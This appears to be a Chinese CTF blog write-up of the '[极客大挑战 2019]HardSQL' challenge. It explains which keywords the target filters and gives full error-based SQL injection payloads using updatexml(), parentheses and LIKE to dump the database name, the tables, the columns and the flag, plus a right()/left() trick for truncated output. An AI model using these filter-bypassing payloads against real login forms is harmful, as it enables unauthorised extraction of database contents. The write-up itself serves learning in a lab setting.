[极客大挑战 2019]HardSQL详细解析

抓包看看都过滤了些什么?

长度为784的为过滤字段,过滤了很多,例如空格,sleep,insert,--+,<>,and,等于号,by,union,/**/等等

在测试引号的时候存在报错,有关函数updatexml()和extractvalue()

所以尝试报错注入并且过滤了空格使用()闭合子查询绕过

括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。

本文使用updatexml()

暴库

username=1%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1

爆表

username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

 

因为等号过滤了要使用like 进行绕过

爆字段

username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=1

爆flag

username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=1

发现受到updatexml() 函数和extractvalue()的报错内容长度不能超过 32 个字符,当我们查询的内容较短时可以完整显示,若查询内容较长,则导致我们要查询的的内容显示不全。

substring被过滤 limit被空格过滤收到使用影响

所以使用right,left,min函数

group_concat((right(password,25)))

拼接完成

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

在校大学生入坑网安ing

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值